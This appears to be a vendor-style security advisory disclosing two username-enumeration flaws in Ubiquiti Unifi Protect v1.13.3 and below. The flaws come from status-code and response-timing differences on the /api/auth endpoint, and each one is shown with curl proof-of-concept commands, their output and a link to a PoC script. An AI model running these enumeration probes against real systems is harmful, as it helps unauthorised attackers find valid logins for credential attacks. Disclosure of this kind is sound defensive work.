Tenable has discovered two username discovery vulnerabilities in Unifi Protect v1.13.3 and below that allow a remote, unauthenticated attacker to discover valid usernames for the Unifi Protect web application. The first vulnerability allows an attacker to discover valid usernames by examining the server's HTTP status code in response to requests to the "/api/auth" API endpoint. The second vulnerability allows an attacker to discover valid usernames by examining timing of server responses to requests to the "/api/auth" API endpoint.
(1) Ubiquiti Unifi Protect Username Discovery via HTTP status code
CVSS v2 Base Score: 5.0
CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)
The Ubiquiti Unifi Protect API contains a flaw that allows a remote, unauthenticated attacker to discover valid usernames for the Unifi Protect web application by examining the HTTP status code in responses from the server.
When an authentication request is sent to the "/api/auth" API endpoint, the status code in the response reveals whether or not the username is valid. If the username is invalid, the server returns status code 400, but if the username is valid, it returns status code 401. An attacker can exploit this flaw to enumerate valid usernames for the Unifi Protect web application by sending requests to the "/api/auth" API endpoint with arbitrary usernames and examining the status code in each response.
The flaw lies in the implementation of the "/auth" endpoint in /usr/share/unifi-protect/app/server.js. Early in the function associated with the endpoint, an invalid username causes the function to return an error response including "status(400)". Further down in the function, there are three places where an invalid password causes the function to return an error response, which includes "status(401)" in each case. The inconsistent use of status codes allows an attacker to differentiate between valid and invalid usernames.
========
Proof of Concept (PoC)
Status code is 400 for invalid usernames:
$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"a", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 400
$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"not-admin", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 400
$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"admin", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 400
Status code is 401 for valid usernames:
$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"nvr-admin", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 401
$curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"nvr-user", "password":"a"}' -w " %{http_code}"
{"error":"invalid username or password"} 401
A PoC script to test for the vulnerability is available at:
https://github.com/tenable/poc/blob/master/Ubiquiti/UniFi_Protect/cve_2020_8213_unifi_protect_username_discovery.py
(2) Ubiquiti Unifi Protect Username Discovery via HTTP Response Timing
CVSS v2 Base Score: 5.0
CVSS v2 Vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N)
The Ubiquiti Unifi Protect API contains a flaw that allows a remote, unauthenticated attacker to discover valid usernames for the Unifi Protect web application by examining the timing of responses from the server. When an authentication request is sent to the "/api/auth" API endpoint, the server takes significantly longer to respond if the username is valid. An attacker can exploit this flaw to enumerate valid usernames for the Unifi Protect web application by sending requests to the "/api/auth" API endpoint with arbitrary usernames and examining the timing of the server responses to infer which usernames are valid.
Specifically, the server response takes about an order of magnitude longer when the username is valid. In testing, server responses to requests with invalid usernames were received in 25-50 milliseconds, whereas server responses to requests with valid usernames were received in 300-500 milliseconds.
The flaw lies in the implementation of the "/auth" endpoint in /usr/share/unifi-protect/app/server.js. The function associated with the endpoint validates the username early in the function, immediately returning the error "invalid username or password" if the username is invalid. If the username is valid and the password is invalid, the same error message is returned, but the extra processing time needed to determine that the password is invalid is reflected in the server response time, allowing an attacker to differentiate between valid and invalid usernames.
========
Proof of Concept (PoC)
Response time is 25-50 ms for invalid usernames:
$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"a", "password":"a"}'
{"error":"invalid username or password"}
real 0m0.025s
user 0m0.005s
sys 0m0.005s
$time curl -H "Content-Type: application/json" --insecure -X POST https://192.168.30.6:7443/api/auth -d '{"username":"not-admin", "password":"a"}'
{"error":"invalid username or password"}
real 0m0.050s
user 0m0.010s
sys 0m0.000s
$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"admin", "password":"a"}'
{"error":"invalid username or password"}
real 0m0.028s
user 0m0.005s
sys 0m0.005s
Response time is 300-500 ms for valid usernames:
$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"nvr-admin", "password":"a"}'
{"error":"invalid username or password"}
real 0m0.331s
user 0m0.010s
sys 0m0.001s
$time curl -H "Content-Type: application/json" --insecure -X POST http://192.168.30.6:7080/api/auth -d '{"username":"nvr-user", "password":"a"}'
{"error":"invalid username or password"}
real 0m0.346s
user 0m0.006s
sys 0m0.006s